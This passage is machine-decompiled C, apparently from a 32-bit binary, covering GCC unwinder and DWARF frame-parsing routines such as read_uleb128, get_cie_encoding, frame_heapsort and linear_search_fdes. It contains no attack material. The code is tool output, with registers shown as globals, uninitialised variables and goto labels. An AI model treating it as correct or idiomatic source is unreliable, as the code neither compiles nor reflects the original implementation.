int32_t v3;
int32_t * v4;
_Unwind_RaiseException(a2, v4, v3, v2);
g98 = v1;
g101 = (int32_t)v4;
g102 = v3;
int32_t v5 = g100; // 0x80a74bc
int32_t v6;
g100 = v6;
g99 = v5 + 4;
return 0;
}
// 0x80a745c
g96 = (int32_t)a1;
int32_t v7 = g100; // 0x80a745f
int32_t v8 = v7 - 120; // 0x80a745f
g95 = v8;
*(int32_t *)(v7 - 232) = v8;
uw_init_context_1(a1);
int32_t v9 = g100; // 0x80a7470
int32_t v10 = v9 - 220; // 0x80a7470
*(int32_t *)(v9 - 236) = v10;
int32_t * v11 = (int32_t *)v10; // 0x80a7485_0
int32_t * v12;
memcpy(v11, v12, 100);
int32_t v13;
g97 = v13;
g95 = v1;
if (_Unwind_ForcedUnwind_Phase2(a1, a2) != 7) {
// 0x80a74a1
abort();
// UNREACHABLE
}
// 0x80a74be
g97 = v13;
int32_t v14 = (int32_t)v12; // 0x80a74c4
g95 = v14;
uw_install_context_1(v11, v12);
int32_t v15 = g95; // 0x80a74cf
int32_t * v16;
g95 = (int32_t)v16;
g97 = 0x80a74cf;
g98 = v10;
g101 = v14;
g102 = 100;
int32_t v17 = v15 + 4 + g100; // 0x80a74ea
g96 = v17;
int32_t v18;
g100 = v18;
g99 = v17 + 4;
int32_t result;
return result;
}
// Address range: 0x80a74f4 - 0x80a74f9
void size_of_encoded_value(int32_t * a1) {
// 0x80a74f4
int32_t v1;
int32_t v2;
int32_t v3;
int32_t v4;
int32_t v5;
function_80a74fe(g96, g98, g100, v1, (int32_t)a1, v5, v2, v3, v4, 0);
}
// Address range: 0x80a74fe - 0x80a754b
int32_t function_80a74fe(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10) {
// 0x80a74fe
int32_t * v1;
int32_t v2 = (int32_t)v1; // 0x80a74fe
g98 = v2 + 0x8a1fa;
uint32_t v3 = g95; // 0x80a7505
if (0x1000000 * v3 == -0x1000000) {
// 0x80a7546
g97 = a7;
g98 = a8;
int32_t v4 = g100; // 0x80a754a
g100 = v2;
g99 = v4 + 4;
return 0;
}
uint32_t v5 = v3 % 8; // 0x80a7509
g95 = v5;
if (v5 == 2) {
// 0x80a7534
g97 = a3;
g98 = a4;
int32_t v6 = g100; // 0x80a753b
g100 = v2;
g99 = v6 + 4;
return 2;
}
// 0x80a7511
int32_t v7;
int32_t v8; // 0x80a752f
if (v5 < 3) {
// 0x80a7524
if (v5 != 0) {
// 0x80a751d
abort();
// UNREACHABLE
}
// 0x80a7528
g97 = a1;
g98 = a2;
v8 = g100;
g100 = v7;
g99 = v8 + 4;
return 4;
}
// 0x80a7513
if (v5 == 3) {
// 0x80a7528
g97 = a1;
g98 = a2;
v8 = g100;
g100 = v7;
g99 = v8 + 4;
return 4;
}
// 0x80a7518
if (v5 != 4) {
// 0x80a751d
abort();
// UNREACHABLE
}
// 0x80a753d
g97 = a5;
g98 = a6;
int32_t v9 = g100; // 0x80a7544
g100 = v2;
g99 = v9 + 4;
return 8;
}
// Address range: 0x80a754c - 0x80a7589
int32_t read_uleb128_721(int32_t a1) {
int32_t v1 = g97; // 0x80a7557
int32_t v2 = 0; // 0x80a7572
int32_t result = 0; // 0x80a7574
int32_t v3 = v1; // 0x80a7563
int32_t v4 = g95;
// branch -> 0x80a7560
int32_t v5; // 0x80a7565
int32_t v6; // 0x80a7572
while (true) {
unsigned char v7 = *(char *)v4; // 0x80a7563
int32_t v8 = (int32_t)v7 | v3 & -256; // 0x80a7563
g97 = v8;
v5 = v4 + 1;
int32_t v9 = v7 % 128; // 0x80a756b
uint32_t v10 = result % 32; // 0x80a7570
int32_t v11 = v9; // 0x80a7572
if (v10 != 0) {
// if_80a7570_0_true
v11 = v9 << v10;
// branch -> after_if_80a7570_0
}
// after_if_80a7570_0
v6 = v11 | v2;
if (v8 >= 0) {
// break -> 0x80a757b
break;
}
v2 = v6;
result += 7;
v3 = v8;
v4 = v5;
// continue -> 0x80a7560
}
// 0x80a757b
*(int32_t *)v1 = v6;
g95 = v5;
return result;
}
// Address range: 0x80a758c - 0x80a75eb
int32_t read_sleb128_722(int32_t a1) {
int32_t result = 0; // 0x80a75bc
int32_t v1 = g97; // 0x80a75a7
int32_t v2 = 0; // 0x80a75d94
int32_t v3 = g95;
// branch -> 0x80a75a4
int32_t v4; // 0x80a75a9
int32_t result2; // 0x80a75bc
unsigned char v5; // 0x80a75a7
int32_t v6; // 0x80a75b9
while (true) {
// 0x80a75a4
v5 = *(char *)v3;
int32_t v7 = (int32_t)v5 | v1 & -256; // 0x80a75a7
v4 = v3 + 1;
int32_t v8 = v5 % 128; // 0x80a75b2
uint32_t v9 = result % 32; // 0x80a75b7
int32_t v10 = v8; // 0x80a75b9
if (v9 != 0) {
// if_80a75b7_0_true
v10 = v8 << v9;
// branch -> after_if_80a75b7_0
}
// after_if_80a75b7_0
v6 = v10 | v2;
result2 = result + 7;
if (v7 >= 0) {
// break -> 0x80a75c3
break;
}
result = result2;
v1 = v7;
v2 = v6;
v3 = v4;
// continue -> 0x80a75a4
}
int32_t * v11 = (int32_t *)g97; // 0x80a7597_0
int32_t v12; // 0x80a75d93
if (result2 > 31 || v5 == 64) {
v12 = v6;
// 0x80a75d9
g97 = v12;
*v11 = v12;
g95 = v4;
return result;
}
uint32_t v13 = result2 % 32; // 0x80a75d4
int32_t v14; // 0x80a75d6
if (v13 != 0) {
// if_80a75d4_0_true
v14 = -1 << v13;
// branch -> after_if_80a75d4_0
} else {
v14 = -1;
}
// after_if_80a75d4_0
v12 = v14 | v6;
// branch -> 0x80a75d9
// 0x80a75d9
g97 = v12;
*v11 = v12;
g95 = v4;
return result2;
}
// Address range: 0x80a75ec - 0x80a75f5
int32_t read_encoded_value_with_base_723(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1;
int32_t v2;
int32_t v3;
function_80a75fa(v3, &v2, v1, 0, 0, 0);
return g95;
}
// Address range: 0x80a75fa - 0x80a76a6
int32_t function_80a75fa(int32_t a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
// 0x80a75fa
int32_t * v1;
int32_t v2 = (int32_t)v1; // 0x80a75fa
int32_t v3 = v2 + 0x8a0fe; // 0x80a75fb
g98 = v3;
int32_t v4 = g96; // 0x80a7604
g101 = v4;
uint32_t v5 = g95; // 0x80a7606
g102 = v5;
if (0x1000000 * v5 != 0x50000000) {
// 0x80a760c
g95 = v5 % 256;
uint32_t v6 = v5 % 16; // 0x80a7612
if (v6 < 13) {
// 0x80a7620
g95 = *(int32_t *)(v2 + 0x613ca + 4 * v6) + v3;
return unknown_81316f8();
}
// 0x80a761a
abort();
// UNREACHABLE
}
// 0x80a762c
g97 = g5;
g96 = v4 + 7 & -4;
g95 = (int32_t)a2;
*a2 = g5;
int32_t v7;
g98 = v7;
int32_t v8;
g101 = v8;
int32_t * v9;
g102 = (int32_t)v9;
int32_t v10 = g100; // 0x80a7644
int32_t v11;
g100 = v11;
g99 = v10 + 4;
return g96;
}
// Address range: 0x80a76a8 - 0x80a76ad
void base_from_object(struct struct_45 * a1) {
int32_t v1;
int32_t v2;
int32_t v3;
function_80a76b2(g96, g98, g100, &v1, (int32_t)a1, v3, v2, 0);
}
// Address range: 0x80a76b2 - 0x80a76fc
int32_t function_80a76b2(int32_t a1, int32_t a2, int32_t a3, int32_t * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) {
// 0x80a76b2
int32_t * v1;
int32_t v2 = (int32_t)v1; // 0x80a76b2
g98 = v2 + 0x8a046;
int32_t v3 = g95; // 0x80a76b9
int32_t v4;
int32_t v5; // 0x80a76e0
if (0x1000000 * v3 == -0x1000000) {
// 0x80a76dc
g97 = a1;
g98 = a2;
v5 = g100;
g100 = v4;
g99 = v5 + 4;
return 0;
}
int32_t v6 = v3 & 112; // 0x80a76bd
g95 = v6;
if (v6 == 32) {
int32_t result = *(int32_t *)(g97 + 4); // 0x80a76e4
g97 = a3;
g98 = (int32_t)a4;
int32_t v7 = g100; // 0x80a76e9
g100 = v2;
g99 = v7 + 4;
return result;
}
// 0x80a76c5
if (v6 < 33) {
// 0x80a76d8
if (v6 == 0) {
// 0x80a76dc
g97 = a1;
g98 = a2;
v5 = g100;
g100 = v4;
g99 = v5 + 4;
return 0;
}
// 0x80a76ec
if (v6 != 16) {
// 0x80a76f1
abort();
// UNREACHABLE
}
// 0x80a76dc
g97 = a1;
g98 = a2;
v5 = g100;
g100 = v4;
g99 = v5 + 4;
return 0;
}
// 0x80a76c7
if (v6 == 48) {
int32_t result2 = *(int32_t *)(g97 + 8); // 0x80a76f6
g97 = a5;
g98 = a6;
int32_t v8 = g100; // 0x80a76fb
g100 = v2;
g99 = v8 + 4;
return result2;
}
// 0x80a76cc
if (v6 != 80) {
// 0x80a76d1
abort();
// UNREACHABLE
}
// 0x80a76dc
g97 = a1;
g98 = a2;
v5 = g100;
g100 = v4;
g99 = v5 + 4;
return 0;
}
// Address range: 0x80a7700 - 0x80a77b3
int32_t get_cie_encoding(struct struct_45 * a1) {
struct struct_103 * v1 = (struct struct_103 *)g100; // 0x80a7700_0
int32_t * v2 = (int32_t *)g102; // 0x80a7703_0
int32_t v3 = g101; // 0x80a7704
int32_t v4 = g95; // 0x80a7708
g101 = v4;
int32_t v5 = v4 + 9; // 0x80a770a
g95 = v5;
int32_t v6 = v5; // bp-32
if (*(char *)v5 != 122) {
// 0x80a7716
g101 = v3;
g102 = (int32_t)v2;
g100 = (int32_t)v1;
return 0;
}
int32_t len = strlen((char *)&v6); // 0x80a772b
int32_t v7 = v6; // 0x80a772f
g97 = v7;
g95 = len + 1 + v7;
read_uleb128_721((int32_t)v1);
read_sleb128_722((int32_t)v1);
if (*(char *)(g101 + 8) == 1) {
// 0x80a77b0
g95++;
// branch -> 0x80a7754
} else {
// 0x80a774d
read_uleb128_721((int32_t)v1);
// branch -> 0x80a7754
}
// 0x80a7754
g101 = v6 + 1;
read_uleb128_721((int32_t)v1);
g96 = v6;
int32_t v8 = g97 & -256 | (int32_t)*(char *)(v6 + 1); // 0x80a7762
g97 = v8;
if (v8 == 82) {
// 0x80a77a4
g101 = v3;
g102 = 0x80a775f;
g100 = (int32_t)v1;
return (int32_t)*(char *)g95;
}
// 0x80a777b
int32_t * v9;
int32_t v10 = (int32_t)v9; // 0x80a7792
// branch -> 0x80a777b
while (true) {
int32_t v11 = 0x1000000 * v8; // 0x80a777b
if (v11 == 0x50000000) {
int32_t v12 = g95; // 0x80a7783
g96 = v12 + 1;
g95 = (int32_t)(*(char *)v12 % 128);
read_encoded_value_with_base_723(v10, v10, v3);
int32_t v13 = g101 + 1; // 0x80a779a
int32_t v14 = g97 & -256 | (int32_t)*(char *)v13; // 0x80a779a
g97 = v14;
g101 = v13;
if (v14 == 82) {
// break -> 0x80a77a4
break;
}
v8 = v14;
// continue -> 0x80a777b
continue;
} else {
// 0x80a776c
if (v11 != 0x4c000000) {
// 0x80a7716
// branch -> 0x80a7716
// 0x80a7716
g101 = v3;
g102 = (int32_t)(int32_t *)0x80a775f;
g100 = (int32_t)v1;
return 0;
}
// 0x80a7771
g95++;
int32_t v15 = g101 + 1; // 0x80a7772
int32_t v16 = (int32_t)*(char *)v15 | v8 & -256; // 0x80a7772
g97 = v16;
g101 = v15;
if (v16 == 82) {
// break -> 0x80a77a4
break;
}
v8 = v16;
// continue -> 0x80a777b
continue;
}
}
// 0x80a77a4
g101 = v3;
g102 = 0x80a775f;
g100 = (int32_t)v1;
return (int32_t)*(char *)g95;
}
// Address range: 0x80a7850 - 0x80a7917
int32_t frame_downheap(int32_t result3, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
int32_t v1 = g102; // 0x80a7853
int32_t v2 = g101; // 0x80a7854
int32_t v3 = g95; // 0x80a7858
int32_t * v4 = (int32_t *)g96; // bp-32
int32_t v5 = 2 * result3 | 1; // 0x80a78647
g102 = v5;
if (v5 < a2) {
int32_t (*v6)(int32_t, int32_t, int32_t, int32_t, int32_t) = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t))g97; // 0x80a78dc_8
int32_t result2 = result3; // 0x80a7916_12
int32_t v7 = result3; // 0x4553
// branch -> 0x80a78b8
while (true) {
int32_t v8 = v5 + 1; // 0x80a78b8
g101 = v8;
g1 = v8 > a2;
g103 = v8 == a2;
int32_t v9; // 0x80a78ca
int32_t * v10; // 0x80a78ec_0
int32_t * v11;
int32_t v12;
int32_t v13; // 0x80a78e2
if (v8 < a2) {
int32_t v14 = 4 * v5; // 0x80a78c0
g95 = v14;
uint32_t v15 = *v4; // 0x80a78c7
v9 = v15 + v14;
g1 = v9 < v15;
g103 = v9 == 0;
g97 = v9;
int32_t v16 = g96; // 0x80a78cf
int32_t v17 = *v4; // 0x80a78d0
g96 = v17;
int32_t v18 = *(int32_t *)(v14 + 4 + v17); // 0x80a78d3
v6(v3, *(int32_t *)v9, v18, v16, v12);
v13 = g95;
g1 = false;
g103 = v13 == 0;
if (v13 <= 0) {
int32_t v19 = g101; // 0x80a78e9
int32_t v20 = 4 * v19 + *v4; // 0x80a78e9
v10 = (int32_t *)v20;
g102 = v19;
g97 = v7;
int32_t v21 = *v4; // 0x80a78f4
g96 = v21;
g101 = v21 + 4 * v7;
g95 = v20;
v6(v3, v4[v7], *v10, v20, v12);
int32_t result = result2; // 0x80a7916_11
if (g95 < 0) {
lab_0xbd4a0e0:;
int32_t * v22 = (int32_t *)g101; // 0x80a789f_0
g97 = *v22;
g96 = (int32_t)v10;
int32_t v23 = *v10; // 0x80a78a4
g95 = v23;
*v22 = v23;
*(int32_t *)g96 = g97;
int32_t v24 = g102; // 0x80a78aa
int32_t v25 = 2 * v24 | 1; // 0x80a78aa8
if (v25 < a2) {
// 0x80a78b6
g102 = v25;
result2 = v25;
v5 = v25;
v7 = v24;
// branch -> 0x80a78b8
continue;
} else {
result = v25;
}
}
// 0x80a7910
g101 = v2;
g102 = v1;
return result;
}
v11 = v4;
} else {
int32_t v26 = *v4 + 4 * v5; // 0x80a787b
v13 = v26;
v9 = v26;
v11 = v4;
// branch -> 0x80a7881
}
int32_t * v27 = (int32_t *)v9; // 0x80a78fb_05
g97 = v7;
int32_t v28 = *v11; // 0x80a7884
g96 = v28;
g101 = v28 + 4 * v7;
g95 = v9;
int32_t v29 = v11[v7]; // 0x80a7890
v6(v3, v29, *v27, v13, v12);
if (g95 <= 0) {
v10 = v27;
goto lab_0xbd4a0e0;
}
// 0x80a7910
g101 = v2;
g102 = v1;
return result2;
}
}
// 0x80a7910
g101 = v2;
g102 = v1;
return result3;
}
// Address range: 0x80a7918 - 0x80a799d
int32_t frame_heapsort(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = g102; // 0x80a791b
int32_t v2 = g101; // 0x80a791c
int32_t v3 = g95; // 0x80a7920
int32_t v4 = g97; // 0x80a7923
int32_t v5 = g96; // 0x80a7926
int32_t v6 = v5 + 8; // 0x80a7926
int32_t * v7 = (int32_t *)v6; // 0x80a7929_0
int32_t v8 = *(int32_t *)(v5 + 4); // 0x80a792c
g102 = v8;
int32_t v9 = v8 / 2; // 0x80a7931
g95 = v9;
int32_t result = v9 - 1; // 0x80a7933
int32_t v10; // 0x80a7989
int32_t result2; // 0x80a7984
int32_t v11;
int32_t v12; // 0x80a7954
int32_t v13; // 0x80a795c
int32_t v14; // 0x80a79923
int32_t v15; // 0x80a798c
if (result < 0) {
// 0x80a7954
v12 = v8 - 1;
g102 = v12;
if (v12 < 1) {
// 0x80a7997
g101 = v2;
g102 = v1;
return result;
}
// 0x80a7959
v13 = 4 * v12 + v6;
g101 = v13;
v14 = 0;
g96 = v6;
*v7 = *(int32_t *)v13;
*(int32_t *)g101 = *v7;
g97 = v4;
g95 = v3;
result2 = frame_downheap((int32_t)g2, g102 - v14, v11, 0, v4);
v10 = v14 + 1;
v15 = g101 - 4;
g101 = v15;
// branch -> 0x80a7968
while (v10 != g102) {
// 0x80a7968
v14 = v10;
g96 = v6;
*v7 = *(int32_t *)v15;
*(int32_t *)g101 = *v7;
g97 = v4;
g95 = v3;
result2 = frame_downheap((int32_t)g2, g102 - v14, v11, 0, v4);
v10 = v14 + 1;
v15 = g101 - 4;
g101 = v15;
// continue -> 0x80a7968
}
// 0x80a7997
g101 = v2;
g102 = v1;
return result2;
}
// 0x80a7936
g101 = result;
g96 = v6;
g97 = v4;
g95 = v3;
int32_t result3 = frame_downheap(result, v8, v11, 0, v4); // 0x80a7946
int32_t v16 = g101; // 0x80a794b
int32_t v17 = v16 - 1; // 0x80a794b
g101 = v17;
int32_t v18 = g102;
// branch -> 0x80a7938
while (v16 != 0) {
// 0x80a7938
g96 = v6;
g97 = v4;
g95 = v3;
result3 = frame_downheap(v17, v18, v11, 0, v4);
v16 = g101;
v17 = v16 - 1;
g101 = v17;
v18 = g102;
// continue -> 0x80a7938
}
// 0x80a7954
v12 = v18 - 1;
g102 = v12;
if (v12 < 1) {
// 0x80a7997
g101 = v2;
g102 = v1;
return result3;
}
// 0x80a7959
v13 = 4 * v12 + v6;
g101 = v13;
v14 = 0;
g96 = v6;
*v7 = *(int32_t *)v13;
*(int32_t *)g101 = *v7;
g97 = v4;
g95 = v3;
result2 = frame_downheap((int32_t)g2, g102 - v14, v11, 0, v4);
v10 = v14 + 1;
v15 = g101 - 4;
g101 = v15;
// branch -> 0x80a7968
while (v10 != g102) {
// 0x80a7968
v14 = v10;
g96 = v6;
*v7 = *(int32_t *)v15;
*(int32_t *)g101 = *v7;
g97 = v4;
g95 = v3;
result2 = frame_downheap((int32_t)g2, g102 - v14, v11, 0, v4);
v10 = v14 + 1;
v15 = g101 - 4;
g101 = v15;
// continue -> 0x80a7968
}
// 0x80a7997
g101 = v2;
g102 = v1;
return result2;
}
// Address range: 0x80a79a0 - 0x80a7add
int32_t classify_object_over_fdes(int32_t a1, int32_t a2) {
int32_t v1 = g100; // 0x80a79a0
int32_t v2 = v1; // bp-4
int32_t v3 = g102; // 0x80a79a3
int32_t v4 = g101; // 0x80a79a4
struct struct_116 * v5 = (struct struct_116 *)g95; // bp-52
int32_t v6 = g97; // 0x80a79ab
g102 = v6;
if (*(int32_t *)v6 == 0) {
// 0x80a79b3
g95 = 0;
g101 = v4;
g102 = v3;
g100 = v1;
return g96;
}
// 0x80a79c4
int32_t * v7;
uint32_t v8 = (int32_t)v7; // 0x80a7a57
int32_t * v9 = (int32_t *)v3; // bp+019
char v10 = 0; // 0x80a7abd12
int32_t v11 = 0; // 0x80a7a968
int32_t v12 = 0; // 0x80a7ad57
// branch -> 0x80a79e0
int32_t * v13; // bp+018
int32_t v14; // 0x80a7a969
int32_t result; // 0x80a7aa03
while (true) {
int32_t v15 = v6 + 4; // 0x80a79e0
int32_t v16 = *(int32_t *)v15; // 0x80a79e0
v13 = v9;
char v17 = v10; // 0x80a7abd11
v14 = v11;
int32_t v18 = v12; // 0x80a7ad56
int32_t v19; // 0x80a7aa02
result = v19;
int32_t v20; // 0x80a7a84
int32_t v21; // 0x80a7a88
if (v16 != 0) {
int32_t v22 = v15 - v16; // 0x80a79ee
g101 = v22;
int32_t v23; // 0x80a7aae
int32_t * v24; // bp+017
uint32_t v25; // 0x80a7a67
int32_t v26; // 0x80a7aa0
char v27; // 0x80a7abd10
int32_t v28; // 0x80a7ad55
int32_t v29; // 0x80a7ab416
if (v12 == v22) {
// 0x80a7ab4
v24 = v9;
v29 = v10;
v27 = v10;
v28 = v12;
// branch -> 0x80a7a47
} else {
// 0x80a79f9
g95 = v22;
uint32_t v30 = get_cie_encoding((struct struct_45 *)&v2); // 0x80a79fb
char v31 = v30; // 0x80a79fb_3
int32_t v32 = v30 % 256; // 0x80a7a031
g97 = (int32_t)v5;
g95 = v32;
base_from_object((struct struct_45 *)&v2);
int32_t v33 = (int32_t)v5 + 16; // 0x80a7a1a
int16_t * v34 = (int16_t *)v33; // 0x80a7a1a_0
uint16_t v35 = *v34; // 0x80a7a1a
int32_t v36 = v35; // 0x80a7a1a
int32_t v37 = v36 | v19 & -0x10000; // 0x80a7a1a
g96 = v37;
if ((v36 & 2040) == 2040) {
// 0x80a7abd
*v34 = (int16_t)(8 * (g97 & 0x1fff0000 | v32) | v37 & -2041);
v24 = (int32_t *)0x80a7a14;
v29 = v32;
v27 = v31;
v28 = g101;
// branch -> 0x80a7a47
} else {
// 0x80a7a2f
if (0x1000000 * v30 / 0x1000000 != (int32_t)(v35 / 8 % 256)) {
char * v38 = (char *)v33; // 0x80a7a40_0
*v38 = *v38 | 4;
// branch -> 0x80a7a44
}
// 0x80a7a44
v24 = (int32_t *)0x80a7a14;
v29 = v32;
v27 = v31;
v28 = g101;
// branch -> 0x80a7a47
}
// 0x80a7a47
g95 = v29;
read_encoded_value_with_base_723(v8, v8, v4);
g95 = v29;
size_of_encoded_value(v7);
v25 = g95;
v26 = g102 + 8;
v23 = -1;
if (v25 < 4) {
lab_0x6bfee40:
// 0x80a7aa0
v26 = 8 * v25;
uint32_t v39 = v26 & 24; // 0x80a7aac
v23 = 0;
if (v39 != 0) {
// if_80a7aac_0_true
v23 = (1 << v39) - 1;
// branch -> after_if_80a7aac_0
}
// branch -> 0x80a7a71
}
lab_0x6c00be0:
// 0x80a7a71
v13 = v24;
v14 = v11;
result = v26;
if (v23 != v8) {
int32_t v40 = v11 + 1; // 0x80a7a78
if (v8 < *(int32_t *)v5) {
// 0x80a7a82
v5->e0 = v7;
v13 = v24;
v14 = v40;
result = v26;
// branch -> 0x80a7a84
} else {
v13 = v24;
v14 = v40;
result = v26;
}
}
// 0x80a7a84
v20 = g102;
v21 = *(int32_t *)v20 + v20 + 4;
g102 = v21;
if (*(int32_t *)v21 == 0) {
// break -> 0x80a7a96
break;
}
v6 = v21;
v9 = v13;
v10 = v27;
v11 = v14;
v12 = v28;
v19 = result;
// continue -> 0x80a79e0
continue;
}
int32_t v41 = g102 + 8; // 0x80a7a4a
g95 = v29;
read_encoded_value_with_base_723(v8, v8, v4);
g95 = v29;
size_of_encoded_value(v7);
v25 = g95;
if (v25 < 4) {
goto lab_0x6bfee40;
}
v26 = v41;
v23 = -1;
goto lab_0x6c00be0;
}
// 0x80a7a84
v20 = g102;
v21 = *(int32_t *)v20 + v20 + 4;
g102 = v21;
if (*(int32_t *)v21 == 0) {
// break -> 0x80a7a96
break;
}
v6 = v21;
v9 = v13;
v10 = v17;
v11 = v14;
v12 = v18;
v19 = result;
// continue -> 0x80a79e0
}
// 0x80a7a96
g95 = v14;
g101 = v4;
g102 = (int32_t)v13;
g100 = v2;
return result;
}
// Address range: 0x80a7b38 - 0x80a7c5d
int32_t linear_search_fdes(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = g102; // 0x80a7b3b
int32_t v2 = g101; // 0x80a7b3c
int32_t v3 = g95; // 0x80a7b40
g102 = g97;
int32_t v4 = g96; // 0x80a7b45
g97 = v3;
int32_t v5 = v3 + 16; // 0x80a7b4a
uint16_t v6 = *(int16_t *)v5 / 8;
g95 = v6 % 256;
int32_t v7;
base_from_object((struct struct_45 *)&v7);
int32_t v8 = g102; // 0x80a7b60
int32_t v9 = *(int32_t *)v8; // 0x80a7b60
g95 = v9;
if (v9 != 0) {
char v10 = v6;
int32_t v11 = 0;
// branch -> 0x80a7ba4
lab_0x6c2cdc0:
while (true) {
// 0x80a7ba4
int32_t * v12;
int32_t v13 = (int32_t)v12; // 0x80a7c0a
int32_t v14 = v8; // 0x80a7bb4
char v15 = v10; // 0x80a7be35
int32_t v16 = v11; // 0x80a7bd74
// branch -> 0x80a7ba4
while (true) {
int32_t v17 = v14 + 4; // 0x80a7ba4
int32_t v18 = *(int32_t *)v17; // 0x80a7ba4
int32_t v19 = v14; // 0x80a7b92
int32_t v20;
int32_t v21 = v20; // 0x80a7c2316
int32_t * v22 = v12; // 0x80a7c1113
char v23 = v15; // 0x80a7be36
int32_t v24 = v16; // 0x80a7bd73
int32_t v25; // 0x80a7b94
int32_t v26; // 0x80a7b96
if (v18 != 0) {
char v27 = v15; // 0x80a7be37
int32_t v28 = v16; // 0x80a7bd72
if (*(char *)v5 != 4) {
int32_t v29 = v17 - v18; // 0x80a7bb7
g101 = v29;
if (v16 != v29) {
// 0x80a7bbe
g95 = v29;
uint32_t v30 = get_cie_encoding((struct struct_45 *)&v7); // 0x80a7bc0
g95 = v30 % 256;
g97 = v3;
base_from_object((struct struct_45 *)&v7);
v27 = v30;
v28 = g101;
// branch -> 0x80a7bdc
} else {
v27 = v15;
v28 = v16;
}
}
// 0x80a7bdc
int32_t * v31; // 0x80a7b7d_0
int32_t result; // 0x80a7b74
int32_t v32; // 0x80a7b74
char v33; // 0x80a7be3750
if (v27 == 0) {
// 0x80a7b74
result = g102;
v32 = *(int32_t *)(result + 8);
g97 = v32;
v31 = (int32_t *)*(int32_t *)(result + 12);
if (v32 == 0) {
v19 = result;
v21 = 0;
v23 = 0;
lab_0x6c1d7b0:
// 0x80a7b92
v25 = *(int32_t *)v19 + v19;
g95 = v25;
v26 = v25 + 4;
g102 = v26;
if (*(int32_t *)v26 == 0) {
// break (via goto) -> 0x80a7c40
goto lab_0x9cf06d0;
}
v8 = v26;
v20 = v21;
v12 = v31;
v10 = v23;
v11 = v28;
// continue (via goto) -> 0x80a7ba4
goto lab_0x6c2cdc0;
} else {
v33 = 0;
}
} else {
// 0x80a7be3
g96 = g102 + 8;
g95 = v27;
int32_t v34;
int32_t v35;
g96 = read_encoded_value_with_base_723(v20, v35, v34);
g95 = g101 % 16;
read_encoded_value_with_base_723(v13, v35, v34);
g95 = g101;
size_of_encoded_value(v12);
uint32_t v36 = g95; // 0x80a7c19
int32_t v37 = -1;
if (v36 < 4) {
int32_t v38 = 8 * v36; // 0x80a7c4c
g96 = v38;
uint32_t v39 = v38 & 24; // 0x80a7c58
int32_t v40 = 0; // 0x80a7c5a
if (v39 != 0) {
// if_80a7c58_0_true
v40 = (1 << v39) - 1;
// branch -> after_if_80a7c58_0
}
// after_if_80a7c58_0
v37 = v40;
// branch -> 0x80a7c23
}
// 0x80a7c23
g97 = v20;
int32_t v41 = g102; // 0x80a7c2e
if (v37 == v20) {
int32_t v42 = *(int32_t *)v41 + v41; // 0x80a7c30
g95 = v42;
int32_t v43 = v42 + 4; // 0x80a7c32
g102 = v43;
if (*(int32_t *)v43 == 0) {
// break -> 0x80a7c40
break;
}
v14 = v43;
v15 = v27;
v16 = v28;
// continue -> 0x80a7ba4
continue;
} else {
result = v41;
v33 = v27;
v32 = v20;
v31 = v12;
}
}
int32_t v44 = v4 - v32; // 0x80a7b87
g95 = v44;
if (v44 >= (int32_t)v31) {
v19 = result;
v21 = v32;
v23 = v33;
goto lab_0x6c1d7b0;
}
// 0x80a7c42
g101 = v2;
g102 = v1;
return result;
}
// 0x80a7b92
v25 = *(int32_t *)v19 + v19;
g95 = v25;
v26 = v25 + 4;
g102 = v26;
if (*(int32_t *)v26 == 0) {
// break (via goto) -> 0x80a7c40
goto lab_0x9cf06d0;
}
v8 = v26;
v20 = v21;
v12 = v22;
v10 = v23;
v11 = v24;
// continue (via goto) -> 0x80a7ba4
goto lab_0x6c2cdc0;
}
// 0x80a7c40
// branch -> 0x80a7c42
// 0x80a7c42
g101 = v2;
g102 = v1;
return 0;
}
}
lab_0x9cf06d0:
// 0x80a7c40
// branch -> 0x80a7c42
// 0x80a7c42
g101 = v2;
g102 = v1;
return 0;
}
// Address range: 0x80a7c60 - 0x80a7d62
int32_t add_fdes(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = g102; // 0x80a7c63
int32_t v2 = g101; // 0x80a7c64
int32_t v3 = g95; // 0x80a7c68
struct struct_117 * v4 = (struct struct_117 *)g97; // bp-48
g102 = g96;
g97 = v3;
int32_t v5 = v3 + 16; // 0x80a7c72
uint16_t v6 = *(int16_t *)v5 / 8;
g95 = v6 % 256;
int32_t v7;
base_from_object((struct struct_45 *)&v7);
int32_t v8 = g102; // 0x80a7c88
if (*(int32_t *)v8 == 0) {
// 0x80a7d4c
g101 = v2;
g102 = v1;
return 0;
}
// 0x80a7c92
int32_t * v9;
int32_t v10 = (int32_t)v9; // 0x80a7d1a
char v11 = g95; // 0x80a7d15_09
char v12 = v6; // 0x80a7d076
int32_t v13 = 0; // 0x80a7cfd5
// branch -> 0x80a7cca
while (true) {
int32_t v14 = v8 + 4; // 0x80a7cca
int32_t v15 = *(int32_t *)v14; // 0x80a7cca
char v16 = v11; // bp+010
char v17 = v12; // 0x80a7d077
int32_t v18 = v13; // 0x80a7cfd4
int32_t v19; // 0x80a7cba
int32_t v20; // 0x80a7cb8
int32_t v21; // 0x80a7cbc
if (v15 != 0) {
// 0x80a7cd1
g97 = v3;
char v22 = v11; // bp+011
char v23 = v12; // 0x80a7d078
int32_t v24 = v13; // 0x80a7cfd3
if (*(char *)v5 != 4) {
int32_t v25 = v14 - v15; // 0x80a7cdd
g101 = v25;
if (v13 != v25) {
// 0x80a7ce4
g95 = v25;
uint32_t v26 = get_cie_encoding((struct struct_45 *)&v7); // 0x80a7ce6
g95 = v26 % 256;
g97 = v3;
base_from_object((struct struct_45 *)&v7);
v22 = g95;
v23 = v26;
v24 = g101;
// branch -> 0x80a7d00
} else {
v22 = v11;
v23 = v12;
v24 = v13;
}
}
// 0x80a7d00
if (v23 == 0) {
// 0x80a7c9c
if (*(int32_t *)(g102 + 8) == 0) {
v17 = 0;
lab_0x6c41490:
// 0x80a7cb8
v20 = g102;
v19 = *(int32_t *)v20 + v20;
g95 = v19;
v21 = v19 + 4;
g102 = v21;
if (*(int32_t *)v21 == 0) {
// break -> 0x80a7d4c
break;
}
v8 = v21;
v11 = v22;
v12 = v17;
v13 = v24;
